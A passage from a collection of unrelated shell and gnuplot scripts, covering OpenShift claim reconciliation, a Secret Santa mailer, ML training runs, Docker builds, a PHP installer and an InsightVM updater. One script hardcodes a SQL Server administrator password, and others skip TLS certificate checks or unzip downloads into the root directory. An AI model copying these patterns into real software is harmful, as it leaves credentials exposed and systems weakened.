Container Platform before running this script${CLEAR}\\n\"\n exit 2\nfi\n# Shorten to the basedomain and tell the user which cluster we're targetting\nHOST_URL=${HOST_URL/apps./}\nprintf \"${BLUE}* Using cluster: ${HOST_URL}${CLEAR}\\n\"\nVER=`oc version | grep \"Server Version:\"`\nprintf \"${BLUE}* ${VER}${CLEAR}\\n\"\n\n#----SELECT A NAMESPACE----#\nif [[ \"$CLUSTERPOOL_TARGET_NAMESPACE\" == \"\" ]]; then\n # Prompt the user to choose a project\n projects=$(oc get project -o custom-columns=NAME:.metadata.name,STATUS:.status.phase)\n project_names=()\n i=0\n IFS=$'\\n'\n for line in $projects; do\n if [ $i -eq 0 ]; then\n printf \" \\t$line\\n\"\n else\n printf \"($i)\\t$line\\n\"\n unset IFS\n line_list=($line)\n project_names+=(${line_list[0]})\n IFS=$'\\n'\n fi\n i=$((i+1))\n done;\n unset IFS\n printf \"${BLUE}- note: to skip this step in the future, export CLUSTERPOOL_TARGET_NAMESPACE${CLEAR}\\n\"\n printf \"${YELLOW}Enter the number corresponding to your desired Project/Namespace from the list above:${CLEAR} \"\n read selection\n if [ \"$selection\" -lt \"$i\" ]; then\n CLUSTERPOOL_TARGET_NAMESPACE=${project_names[$(($selection-1))]}\n else\n errorf \"${RED}Invalid Choice. Exiting.\\n${CLEAR}\"\n exit 3\n fi\nfi\noc get projects ${CLUSTERPOOL_TARGET_NAMESPACE} --no-headers &> /dev/null\nif [[ $? -ne 0 ]]; then\n errorf \"${RED}Couldn't find a namespace named ${CLUSTERPOOL_TARGET_NAMESPACE} on ${HOST_URL}, validate your choice with 'oc get projects' and try again.${CLEAR}\\n\"\n exit 3\nfi\nprintf \"${GREEN}* Using $CLUSTERPOOL_TARGET_NAMESPACE\\n${CLEAR}\"\n\nREMOTE_CLAIMS=$(oc get clusterclaims.hive -n ${CLUSTERPOOL_TARGET_NAMESPACE} --no-headers -o custom-columns=\"NAME:metadata.name\")\nLOCAL_CLAIMS=$(ls -d1 ./*/ | grep -v \"templates\\|backup\" | sed 's/^\\.\\///' | sed 's/\\/$//')\nDIFF_CLAIMS=$(comm -1 -3 <(echo \"${REMOTE_CLAIMS}\") <(echo \"${LOCAL_CLAIMS}\"))\nif [[ -n \"${DIFF_CLAIMS}\" ]]; then\n if [[ \"${RECONCILE_SILENT}\" != \"true\" ]]; then\n if (ls -d1 backup/*/ &>/dev/null); then\n printf \"${YELLOW}Would you like to remove the existing claim backups in ./backup (y/n)? ${CLEAR}\"\n read selection\n case \"$selection\" in\n y|Y ) printf \"${GREEN}* Removing all directories stored in ./backup\\n${CLEAR}\"\n rm -r ./backup/*/\n ;;\n esac\n fi\n fi\n printf \"${BLUE}* Moving existing claim directories not found remotely to ./backup folder:\\n${CLEAR}\"\n for claim_dir in ${DIFF_CLAIMS}; do\n if (! ls ./backup/ &>/dev/null); then\n mkdir backup\n fi\n MOVED=\"false\"\n if (! mv \"${claim_dir}\" ./backup/ &>/dev/null); then\n printf \"${YELLOW}Error moving ClusterClaim directory ${claim_dir}. ${CLEAR}\"\n if [[ \"${RECONCILE_SILENT}\" != \"true\" ]]; then\n printf \"${YELLOW}Would you like to try overwriting any existing directories (y/n)? ${CLEAR}\"\n read selection\n else\n printf \"\\n\"\n selection=\"y\"\n fi\n case \"$selection\" in\n y|Y ) printf \"${GREEN}* Attempting force move of ${claim_dir}\\n${CLEAR}\"\n rm -rf ./backup/${claim_dir}/ &>/dev/null\n MOVED=$(mv -f \"${claim_dir}\" ./backup/ && echo \"true\" || echo \"false\")\n ;;\n esac\n else\n MOVED=\"true\"\n fi\n if [[ \"${MOVED}\" == \"true\" ]]; then\n printf \"* Moved: ${claim_dir}\\n\"\n else\n printf \"* Not moved: ${claim_dir}\\n\"\n fi\n done\nelse\n printf \"${BLUE}* Local ClusterClaim directories do not differ from the remote ClusterClaims\\n${CLEAR}\"\nfi\n\nif [[ -n \"${REMOTE_CLAIMS}\" ]]; then\n printf \"${BLUE}* Re-initializing claim directories using remote ClusterClaims\\n${CLEAR}\"\n REMOTE_CLAIMS=$(oc get clusterclaims.hive -n ${CLUSTERPOOL_TARGET_NAMESPACE} --no-headers -o custom-columns=\"NAME:metadata.name\")\n for CLUSTERCLAIM_NAME in ${REMOTE_CLAIMS}; do\n export CLUSTERPOOL_TARGET_NAMESPACE=${CLUSTERPOOL_TARGET_NAMESPACE}\n export CLUSTERCLAIM_NAME=${CLUSTERCLAIM_NAME}\n printf \"* Fetching ${CLUSTERCLAIM_NAME}...\"\n ./get_credentials.sh 1>/dev/null\n printf \"done\\n\"\n done\nelse\n printf \"${BLUE}* No remote ClusterClaims found\\n${CLEAR}\"\nfi"} {"text": "#!/bin/bash\n\n\ncheckIn() {\n var=(\"$1\")\n arr=(\"$@\")\n pass=true\n for i in \"${arr[@]:1}\";\n do\n if [[ $var -eq $i ]]; then\n echo \"$var = $i\"\n pass=false\n fi\n done\n echo $pass\n # echo $val\n}\n\nsetNames() {\ncount=0\nwhile IFS=, read -r col1 col2\ndo\n if [[ $count -ge 1 ]]; then\n NAMES+=($col1)\n EMAILS+=($col2)\n fi\n count=$(($count + 1))\ndone < participants.csv\n}\n\nrandomize() {\ngavesize=0\nreceivedsize=0\nwhile [[ $gavesize -lt $size && $receivedsize -lt $size ]]\ndo\n giver=$(($size + 1))\n getter=$(($size + 1))\n while [[ $giver = $getter ]]\n do\n pass=false\n while [[ ${pass} != \"true\" ]]\n do\n giver=$(($RANDOM % $size))\n checkIn $giver ${givers[@]}\n done\n pass=false\n while [[ ${pass} != \"true\" ]]\n do\n getter=$(($RANDOM % $size))\n checkIn $getter ${receivers[@]}\n done\n done\n givers+=($giver)\n receivers+=($getter)\n gavesize=${#gave[@]}\n receivedsize=${#receivers[@]}\ndone\npass=true\n}\n\nsendMessage() {\ncount=0\nwhile [[ $count -lt ${#givers[@]} ]]\ndo\n giver=${givers[$count]}\n receiver=${receivers[$count]}\n sed -e \"s/\\${santa}/${NAMES[$giver]}/\" -e \"s/\\${receiver}/${NAMES[$receiver]}/\" -e\"s/\\${price}/50/\" body.txt | mail -s \"Shh! Secret Santat\" ${EMAILS[$giver]}\n echo \"Sending to ${NAMES[$giver]}\"\n count=$(($count + 1))\ndone\n}\n\nsetNames\nsize=${#NAMES[@]}\npass=false\nwhile [[ ${pass} != \"true\" ]]\ndo\n randomize\ndone\nsendMessage"} {"text": "#!/usr/bin/env bash\n\nSEED=1\nDATA=\"cifar10\"\n\n#LOSS=\"rll\"\n#ARCH=\"DARTS_V2\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#GPU=0\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F1_unif${ETA}_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n#LOSS=\"rll\"\n#ARCH=\"RLL001_UNIFORM_06\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#GPU=0\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F2_unif${ETA}_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n\n#LOSS=\"rll\"\n#ARCH=\"CCE_UNIFORM_06\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#GPU=2\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F3_unif${ETA}_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n\n#LOSS=\"cce\"\n#ARCH=\"DARTS_V2\"\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F1_unif${ETA}_${DATA}_${LOSS}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n#LOSS=\"cce\"\n#ARCH=\"RLL001_UNIFORM_06\"\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#GPU=1\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F2_unif${ETA}_${DATA}_${LOSS}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n#LOSS=\"rll\"\n#ARCH=\"CCE_UNIFORM_06\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#GPU=0\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F3_unif${ETA}_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight\n#\nLOSS=\"cce\"\nARCH=\"CCE_UNIFORM_06\"\nEPOCHS=3500\nLAYERS=8\nETA=0.6\nGPU=3\nEXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F3_unif${ETA}_${DATA}_${LOSS}_${ARCH}_gpu${GPU}\"\n\npython rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n --arch ${ARCH} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n\n#LOSS=\"rll\"\n#ARCH=\"DARTS_V2\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F1_clean_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n\n#LOSS=\"rll\"\n#ARCH=\"RLL001_UNIFORM_06\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F2_clean_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight\n\n#LOSS=\"rll\"\n#ARCH=\"CCE_UNIFORM_06\"\n#ALPHA=0.01\n#EPOCHS=3500\n#LAYERS=8\n#ETA=0.6\n#EXP_PATH=\"exp/MyDARTS/rank_loss_seed${SEED}/random_weight/F3_clean_${DATA}_${LOSS}${ALPHA}_${ARCH}_gpu${GPU}\"\n#\n#python rank_loss.py --data \"/home/yiwei/${DATA}\" --batch_size 64 --gpu ${GPU} \\\n# --epochs ${EPOCHS} --save ${EXP_PATH} --seed ${SEED} --cutout --drop_path_prob 0 \\\n# --corruption_prob ${ETA} --corruption_type unif --loss_func ${LOSS} \\\n# --arch ${ARCH} --alpha ${ALPHA} --train_portion 0.9 --layers ${LAYERS} --random_weight"} {"text": "fork.sh\n#!/bin/bash\n\nif [ $# -lt 2 ]\nthen\n echo 'Usage:' >&2\n echo ' bb fork owner-name repository-name' >&2\n exit 1\nfi\n\nsource $PREFIX/libexec/bitbucket-cli-sub-commands/auth\n\ncurl --request POST --user $USERNAME:$PASSWORD \\\n https://bitbucket.org/api/1.0/repositories/$1/$2/fork \\\n -F name=$2 \\\n -F is_private=true"} {"text": "pokusew/macos-mips-crosscompile-test\n#!/usr/bin/env bash\n\nset -e\n\nmkdir -p build\ncd build\nwget http://cmp.felk.cvut.cz/~pisa/apo/qtmips/gcc-mips-elf_7.4_macos.zip\nbuild_dir=$(pwd)\ncd /\nsudo unzip -o \"$build_dir\"/gcc-mips-elf_7.4_macos.zip"} {"text": "data-base/run-initialization.sh\nsleep 30s\n\n#run the setup script to create the DB and the schema in the DB\n/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P yACPuaPq8kvQWLnHJpuF -d master -i setup.sql"} {"text": "10-100\n#!/bin/bash\n\npython -m grpc_tools.protoc -I ./proto --python_out=patter/server --grpc_python_out=patter/server ./proto/speech.proto"} {"text": "0\n#!/bin/bash\ncd dwm\n\nif [ \"$1\" = \"install\" ]; then\n sudo make install\nelse\n make\nfi"} {"text": "#!/bin/sh -e\n\nsudo mysqlcheck --repair --all-databases"} {"text": "0\nset terminal post enhanced colour solid font 20 \nreset\n\n# SKRYPT GENERUJE WYKRESY DLA PLIKU out.dat Z TRZEMA KOLUMNAMI:\n# x20, V_n, blad (wzor (11))\n# Wyniki sa zapisane w czterech seriach danych:\n# - 1. seria danych: dla n = 100.\n# - 2. seria danych (po dwoch pustych liniach): dla n = 1000.\n# - 3. seria danych: dla n = 10000.\n# - 4. seria danych: dla n = 100000.\n\nset style line 1 lw 2 lt rgb \"black\"\nset style line 2 lw 2 pt 7 lc rgb \"red\"\n\n# Funkcja pomocnicza dla funkcji Bessela:\ny(x) = (abs(x) < 3.75) ? (x/3.75)**2 : 3.75/x\n# Modyfikowana funkcja Bessela I_0(x):\nbessi0(x) = ( (abs(x) < 3.75) ? \\\n (1.0+y(x)*(3.5156229+y(x)*(3.0899424+y(x)*(1.2067492+y(x)*(0.2659732+y(x)*(0.360768e-1+y(x)*0.45813e-2)))))) : \\\n ((exp(x)/sqrt(x))*(0.39894228+y(x)*(0.1328592e-1+y(x)*(0.225319e-2+y(x)*(-0.157565e-2+y(x)*(0.916281e-2+y(x)*\\\n (-0.2057706e-1+y(x)*(0.2635537e-1+y(x)*(-0.1647633e-1+y(x)*0.392377e-2))))))))))\n\nsigma = 1.0\n# :\nV_dok(x20) = sqrt(pi)/(2.*sigma) * exp(-x20**2/(8.*sigma**2)) * bessi0(x20**2/(8.*sigma**2))\n\nset key spacing 2\nset ylabel \"V(x_{20})\"\nset xlabel \"x_{20}\"\ndo for [i=0:3]{\n n = 10**(i+2)\n set output \"V_\".n.\".eps\" \n plot [][] V_dok(x) ls 1 t \"V_{dok}\",\\\n \"out.dat\" i i u 1:2:3 w yerrorbars ls 2 t \"V_{\".n.\"}\"\n}"} {"text": "init.sh\n#rm -rf venv\npython3 -m venv venv\n. venv/bin/activate\npip3 install --upgrade pip\npip3 install Flask\npip3 install gevent\npip3 install requests\ndeactivate\nhead -1024768 /dev/urandom > data.txt"} {"text": "revgen/myenv1-10\n#!/bin/bash\n\nsudo apt install -y xrdp\n# The next packages need to fix a problem wwith blue screen on Ubuntu 18.04\n# sudo apt install -y xorgxrdp-hwe-18.04\n\nsudo sed -i 's/allowed_users=console/allowed_users=anybody/' /etc/X11/Xwrapper.config\n\n# Fix problem with permission to create a new color profile\necho -e \"[Allow Colord all Users]\nIdentity=unix-user:*\nAction=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile\nResultAny=no\nResultInactive=no\nResultActive=yes\n\" | sudo tee /etc/polkit-1/localauthority/50-local.d/color.pkla\n\n\necho \"Use xfce in rdp session\"\necho mate-session >~/.xsession\n\necho \"Open /etc/xrdp/startwm.sh\"\necho \"Comment two last lines with Xsession and add mate-session\"\n\necho \"#test -x /etc/X11/Xsession && exec /etc/X11/Xsession\"\necho \"#exec /bin/sh /etc/X11/Xsession\"\necho \"unset DBUS_SESSION_BUS_ADDRESS\"\necho \"exec mate-session\"\n\nsudo rm /var/crash/*\nsudo systemctl restart xrdp.service"} {"text": "#!/bin/sh\n\necho \"Enter OMS Workspace ID\"\nread WORKSPACE_ID\necho \"Enter OMS Primary Key\"\nread SHARED_KEY\n\nWSID_BASE64_ENC=$(echo $WORKSPACE_ID | base64 | tr -d '\\n')\nKEY_BASE64_ENC=$(echo $SHARED_KEY | base64 | tr -d '\\n')\nsed -e \"s#{{wsid_data}}#${WSID_BASE64_ENC}#g\" -e \"s#{{key_data}}#${KEY_BASE64_ENC}#g\" ./secret-template.yaml > omsagentsecret.yaml\n#sed -e \"s#{{key_data}}#${KEY_BASE64_ENC}#g\" ./secret-template.yaml > secret.yaml\n\necho \"Task completed! secret.yaml file created.\""} {"text": "0x0mar/Scavengerdependency-install.sh1-10\n#!/bin/bash\n#Dependencies for Scavenger\n\nsudo easy_install whois\nsudo easy_install shodan\nsudo easy_install bs4"} {"text": "#!/bin/bash\nPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin\nexport PATH\n\ncurPath=`pwd`\nrootPath=$(dirname \"$curPath\")\nrootPath=$(dirname \"$rootPath\")\nserverPath=$(dirname \"$rootPath\")\nsourcePath=${serverPath}/source\nsysName=`uname`\ninstall_tmp=${rootPath}/tmp/slemp_install.pl\n\n\nversion=5.4.45\nPHP_VER=54\nInstall_php()\n{\n#------------------------ install start ------------------------------------#\necho \"安装php-${version} ...\" > $install_tmp\nmkdir -p $sourcePath/php\nmkdir -p $serverPath/php\n\nif [ ! -d $sourcePath/php/php${PHP_VER} ];then\n\tif [ ! -f $sourcePath/php/php-${version}.tar.gz ];then\n\t\twget --no-check-certificate -O $sourcePath/php/php-${version}.tar.gz https://museum.php.net/php5/php-${version}.tar.gz\n\tfi\n\t\n\tcd $sourcePath/php && tar -zxvf $sourcePath/php/php-${version}.tar.gz\n\tmv $sourcePath/php/php-${version} $sourcePath/php/php${PHP_VER}\nfi\n\nOPTIONS=''\nif [ $sysName == 'Darwin' ]; then\n\tOPTIONS='--without-iconv'\n\tOPTIONS=\"${OPTIONS} --with-freetype-dir=${serverPath}/lib/freetype\"\n\tOPTIONS=\"${OPTIONS} --with-curl=${serverPath}/lib/curl\"\nelse\n\tOPTIONS=\"--with-iconv=${serverPath}/lib/libiconv\"\n\tOPTIONS=\"${OPTIONS} --with-freetype-dir=${serverPath}/lib/freetype\"\n\tOPTIONS=\"${OPTIONS} --with-gd --enable-gd-native-ttf\"\n\tOPTIONS=\"${OPTIONS} --with-curl\"\nfi\n\nif [ ! -d $serverPath/php/${PHP_VER} ];then\n\tcd $sourcePath/php/php${PHP_VER} && ./configure \\\n\t--prefix=$serverPath/php/${PHP_VER} \\\n\t--exec-prefix=$serverPath/php/${PHP_VER} \\\n\t--with-config-file-path=$serverPath/php/${PHP_VER}/etc \\\n\t--with-zlib-dir=$serverPath/lib/zlib \\\n\t--enable-mysqlnd \\\n\t--with-mysql=mysqlnd \\\n\t--with-pdo-mysql=mysqlnd \\\n\t--with-mysqli=mysqlnd \\\n\t--enable-zip \\\n\t--enable-mbstring \\\n\t--enable-sockets \\\n\t--enable-ftp \\\n\t--enable-simplexml \\\n\t--enable-soap \\\n\t--enable-posix \\\n\t--enable-sysvmsg \\\n\t--enable-sysvsem \\\n\t--enable-sysvshm \\\n\t--disable-fileinfo \\\n\t$OPTIONS \\\n\t--enable-fpm \\\n\t&& make && make install && make clean\nfi \n\n#------------------------ install end ------------------------------------#\n}\n\nUninstall_php()\n{\n\t$serverPath/php/init.d/php54 stop\n\trm -rf $serverPath/php/54\n\techo \"卸载php-5.4.45 ...\" > $install_tmp\n}\n\naction=${1}\nif [ \"${1}\" == 'install' ];then\n\tInstall_php\nelse\n\tUninstall_php\nfi"} {"text": "#!/usr/bin/env bash\n\n# To build container:\ndocker build -t \"bioflow\" .\n\n# To run the container:\ndocker run bioflow\n\n# create the volumes to which the docker containers will bind on the disk:\nmkdir -p $BIOFLOWHOME/input\nmkdir -p $BIOFLOWHOME/source\nmkdir -p $BIOFLOWHOME/.internal/docker-mongo/db-data\nmkdir -p $BIOFLOWHOME/.internal/docker-neo4j/db-data\n\n# To build the container after the compose:\ndocker-compose build\n\n# To run the container after the compose: (in the compose directory)\ndocker-compose up -d\n\n# to publish to Docker, first tag the branch of interest:\ndocker tag XXXXXXXX chiffa/bioflow:latest\n\n# then push to dockerhub\nsudo docker push chiffa/bioflow\n\n\n# basically the idea is to create a volume that would be mounted for every new instance and\n# filled with data for the relevant organisms. Since the data is unlikely to change, the instance\n# of neo4j can actually kept on it.\n\n# this is however a non-essential development and will be skipped for now.\n\ndocker volume create my-vol\n\ndocker run -d \\\n -it \\\n --name devtest \\\n --mount source=myvol2, target=/app \\\n nginx:latest\n\n# acutally, with my version:\ndocker run -d \\\n -it \\\n --name devtest \\\n -v myvol2:/app \\\n nginx:latest\n\ndocker container stop devtest\ndocker container rm devtest\ndocker volume rm myvol2"} {"text": "#-----------------------\n# define function\n#-----------------------\nmaven_build() {\n mvn -Peclipse,copy-libs clean package\n}\nmaven_build_test() {\n mvn -Pcli,copy-libs clean package\n}\nexec_java() {\n java -jar target/$1\n}"} {"text": "sostema/votebot\n#!/bin/bash\n\nsqlite3 /app/data/data.db < /app/src/createdb.sql\npython /app/src/main.py"} {"text": "#!/usr/bin/env bash\n# Example usage:\n# bash scripts/example-apply-terraform-to-single-server-and-bring-back-up.sh production couch3 master\n\nenv=$1\nhosts=$2\nbranch=$3\n\nread -rsp \"Vault Password for '${env}': \" vault_password\n\ntargets_args=\"\"\nfor host in $(echo ${hosts} | sed 's/:/ /g')\ndo\n targets_args=\"${targets_args} -target module.server__${host}-${env}.aws_instance.server\"\ndone\n\ncchq ${env} terraform apply --skip-secrets ${targets_args} &&\nuntil cchq production ping ${host}\ndo\n sleep 5\ndone &&\nANSIBLE_VAULT_PASSWORD=\"${}\" cchq ${env} after-reboot ${host} --branch=${branch} --quiet"} {"text": "build.sh\n#! /usr/bin/env sh\nrm -rf app/pkg-temp app/build app/pkg-mavencentral\ndocker build -t i2p.android.base .\ndocker run -it \\\n -u $(id -u):$(id -g) \\\n --name i2p.android.base \\\n -v $HOME/.gnupg/:/.gnupg/:ro \\\n -v $HOME/.i2p-plugin-keys/:/.i2p-plugin-keys/:ro \\\n -v /run/user/$(id -u)/:/run/user/$(id -u)/:ro \\\n i2p.android.base\ndocker cp i2p.android.base:/opt/workspace/i2p.i2p/pkg-mavencentral app/pkg-mavencentral\ndocker cp i2p.android.base:/opt/workspace/i2p.i2p/mavencentral-i2p.jar app/pkg-mavencentral\ndocker cp i2p.android.base:/opt/workspace/i2p.i2p/mavencentral-mstreaming.jar app/pkg-mavencentral\ndocker cp i2p.android.base:/opt/workspace/i2p.i2p/mavencentral-router.jar app/pkg-mavencentral\ndocker cp i2p.android.base:/opt/workspace/i2p.i2p/mavencentral-servlet-i2p.jar app/pkg-mavencentral\ndocker cp i2p.android.base:/opt/workspace/i2p.i2p/mavencentral-streaming.jar app/pkg-mavencentral\ndocker cp i2p.android.base:/opt/workspace/i2p.android.base/app/build/ app/build"} {"text": "#!/bin/bash\nnumero_de_execucoes=2\n\nmicroservices=('app1' 'app2' 'app3' 'app4' 'app5') \n\n\nfor app in ${microservices[@]}; do\n echo $app\nfor i in $(seq 1 $numero_de_execucoes)\ndo\necho $i\ntkn pipeline start microservice-api \\\n --prefix-name=\"microservice-api.$app\" \\\n --param revision='master' \\\n --param url=https://github.com/clodonil/apphello.git \\\n --param runtime='python' \\\n --param appname='python-helloworld'\\\n --param registry='clodonil' \\\n --workspace name=source,claimName=app-source \\\n --workspace name=sharedlibrary,claimName=sharedlibrary \n\ndone\ndone"} {"text": "#!/usr/bin/env bash\nset -x\nVCF_GZ_TO_SPLIT=$1\nOUTPUT_VCF=$2\n#filter out:\n# 1. headers like this: ##ALT=\n# 2. all the NON_REF columns\n\ngzip -c -d ${VCF_GZ_TO_SPLIT} | sed -e 's/,//'| sed -e 's///'| awk '{if($0 !~ /^##.*NON_REF/) {if (substr($9,0,3)!=\"0/0\" && substr($10,0,3)!=\"0/0\") print $0;}}' > $OUTPUT_VCF"} {"text": "libs/cjs/hjssmash.sh\n#! /bin/sh\n# Smash together many JavaScript files into one using the C preprocessor.\n\n# Get the directory where the script files reside.\nOLDPWD=`pwd`\nif cd `dirname $0`; then\n I=`pwd`\n cd $OLDPWD || exit 1\nelse\n exit 1\nfi\n\n. ${I}/getiofiles.sh\n\n$CPP -C -DCJS_JS_TARGET \"$INPUT\" | \\\n sed -e '/^#.*$/d' > \"$OUTPUT\""} {"text": "for D in *; do\n if [ -d \"${D}\" ]; then\n\tfor HW in $D/non-merged/*; do\n\t\tif [ -d \"$HW\" ]; then\n\t\t\tunzip -o \"$HW\"/* -d \"$HW\"\n\t\tfi\n\tdone\n fi\ndone"} {"text": "#!/bin/sh\n\ntitle='MediaMate On Screen Display'\n\nwait_for_osd() {\n\twhile ! wmctrl -a \"$title\"; do\n\t\tsleep 0.3\n\tdone\n\n\twmctrl -r \"$title\" -b add,above\n}\n\nwait_for_osd &\n\ndir=$(dirname $(readlink -f $0))\n\nexport DISPLAY=:0\nTITLE=\"$title\" \"$dir/../osd/electron/electron\" \"$dir/../osd/osd.js\""} {"text": "#!/bin/bash\n\nOLD_MD5=build/vm.md5sum\nOLD_VERSION=$(cat installer/VERSION |tr -d '\\040\\011\\012\\015')\nOLD_HASH=$(cat \"$OLD_MD5\" |cut -d' ' -f1)\nVMI_DOCKERFILE=installer/Dockerfile\nVERSION_FILE=installer/VERSION\n\nBIN_FILE=\"Rapid7Setup-Linux64.bin\"\nRELEASE_RESOURCE=\"ReleaseProduct-\"\nBASE_URL=\"http://download2.rapid7.com/download/InsightVM/\"\nVERSION_URL=$BASE_URL$BIN_FILE\".version\"\n\necho \"Retrieving latest Version file\"\nVERSION_RESPONSE=$(curl -s -w STATUS:%{http_code} $VERSION_URL)\nVERSION_BODY=$(echo $VERSION_RESPONSE |sed -e 's/STATUS\\:.*//g' |tr -d '\\040\\011\\012\\015')\nVERSION_STATUS=$(echo $VERSION_RESPONSE |sed -e 's/.*STATUS\\://' |tr -d '\\n')\n\nif [ $VERSION_STATUS -eq 200 ]; then\n if [ $VERSION_BODY == $OLD_VERSION ]; then\n echo \"No new version for update\"\n exit 1\n fi\nelse\n echo \"Failure when downloading version file\"\n exit 1\nfi\n\nMD5_URL=$BASE_URL$RELEASE_RESOURCE$VERSION_BODY\"/\"$BIN_FILE\".md5sum\"\n\n# Get MD5 information for comparison\nRESPONSE=$(curl -s -w STATUS:%{http_code} $MD5_URL)\nBODY=$(echo $RESPONSE |sed -e 's/STATUS\\:.*//g')\nSTATUS=$(echo $RESPONSE |sed -e 's/.*STATUS\\://' |tr -d '\\n')\n\nif [ $STATUS -eq 200 ]; then\n echo \"Successful Download\"\n VMFILE=$(printf \"$BODY\" |cut -d' ' -f2)\n if [ \"$VMFILE\" != \"Rapid7Setup-Linux64.bin\" ]; then\n exit 1\n fi\n NEW_HASH=$(printf \"$BODY\" |cut -d' ' -f1)\n if [ \"$NEW_HASH\" != \"$OLD_HASH\" ]; then\n echo \"MD5SUM's are different, updating Dockerfile\"\n printf \"$BODY\" > $OLD_MD5\n sed -i'' \"s/$OLD_HASH/$NEW_HASH/g\" $VMI_DOCKERFILE\n\n # Updating version file\n echo \"Version file updated to: $VERSION_BODY\"\n printf \"$VERSION_BODY\" > $VERSION_FILE\n\n # Let's update the download URL\n echo \"Version in installer update to: $VERSION_BODY\"\n sed -i'' \"s/$OLD_VERSION/$VERSION_BODY/g\" $VMI_DOCKERFILE\n\n echo \"Dockerfile 